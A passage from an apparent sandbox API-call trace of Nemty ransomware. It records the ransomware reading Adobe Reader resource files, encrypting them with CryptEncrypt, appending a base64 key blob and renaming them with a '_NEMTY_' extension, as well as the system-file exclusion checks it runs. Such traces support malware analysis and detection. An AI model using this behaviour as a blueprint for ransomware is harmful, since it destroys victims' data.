lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7140, lpOverlapped=0x0) returned 1 [0216.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.437] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28996, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7144 [0216.437] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.437] CloseHandle (hObject=0x2e8) returned 1 [0216.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.438] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt._nemty_kgobjgd_")) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.439] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x715c, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.sv_SE.txt", cAlternateFileName="DISPLA~4.TXT")) returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2=".") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="..") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="...") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="windows") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="rsa") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="NTDETECT.COM") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="ntldr") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="MSDOS.SYS") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="IO.SYS") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="boot.ini") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="boot.ini") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="ntuser.dat") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="desktop.ini") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="CONFIG.SYS") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="RECYCLER") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="bootmgr") returned 1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="programdata") returned -1 [0216.439] lstrcmpiW (lpString1="DisplayLanguageNames.sv_SE.txt", lpString2="appdata") returned 1 [0216.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_SE.txt", lpUsedDefaultChar=0x0) returned 30 [0216.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_SE.txt", lpUsedDefaultChar=0x0) returned 30 [0216.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_SE.txt", lpUsedDefaultChar=0x0) returned 30 [0216.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv_SE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv_SE.txt", lpUsedDefaultChar=0x0) returned 30 [0216.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.440] Sleep (dwMilliseconds=0x5) [0216.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34a68970, dwHighDateTime=0x1d561e8)) [0216.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34a68970, dwHighDateTime=0x1d561e8)) [0216.448] GetLastError () returned 0x0 [0216.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.448] GetLastError () returned 0x0 [0216.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.448] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.448] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.448] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.448] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="/+QaWgcK/4kBqC72I43/7EC+KOfQNK7y4C4ih4fOJBGPZHEm5vgVxNYIT6czSuQh\r\n+Zm3Cwe5qCXJ4i0X1R19a6TzpcEtite3s01QCIaQSgh8v/yzL1eMdqo3oc/TsNTL\r\nzLBWAXcrPlRyXrJ4lHOUmheVWXC2uYlFRbz3avq5NDfjPFlzw/U6gmaSZksqsPfL\r\nlss02lnwn+jylI5Dx3K8X5d2Y1gOU8a68xv0AsvMVYPo2T9DJ+vRrdonwtB7ZEA5\r\n5CcKSb6v4v9gWOqRf4F0xkR++xjzH9DGoQlhdMyDYUaP8rUXT91Xhk/CFp7PPtID\r\nFEcOSqKawIgxq5hib3nAUg==\r\n", pcchString=0x653e5dc) returned 1 [0216.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.449] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29020) returned 1 [0216.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7150) returned 0x6352c48 [0216.449] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.449] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7150, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7150, lpOverlapped=0x0) returned 1 [0216.453] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.453] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7150, lpOverlapped=0x0) returned 1 [0216.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.453] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x715c [0216.453] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.453] CloseHandle (hObject=0x2e8) returned 1 [0216.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.453] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt._nemty_kgobjgd_")) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.454] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.tr.txt", cAlternateFileName="DIA3CE~1.TXT")) returned 1 [0216.454] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2=".") returned 1 [0216.454] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="..") returned 1 [0216.454] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="...") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="windows") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="rsa") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="NTDETECT.COM") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="ntldr") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="MSDOS.SYS") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="IO.SYS") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="boot.ini") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="boot.ini") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="ntuser.dat") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="desktop.ini") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="CONFIG.SYS") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="RECYCLER") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="bootmgr") returned 1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="programdata") returned -1 [0216.455] lstrcmpiW (lpString1="DisplayLanguageNames.tr.txt", lpString2="appdata") returned 1 [0216.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr.txt", lpUsedDefaultChar=0x0) returned 27 [0216.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr.txt", lpUsedDefaultChar=0x0) returned 27 [0216.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr.txt", lpUsedDefaultChar=0x0) returned 27 [0216.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr.txt", lpUsedDefaultChar=0x0) returned 27 [0216.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.456] Sleep (dwMilliseconds=0x5) [0216.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34a8ead0, dwHighDateTime=0x1d561e8)) [0216.463] GetSystemTimeAsFileTime (in: 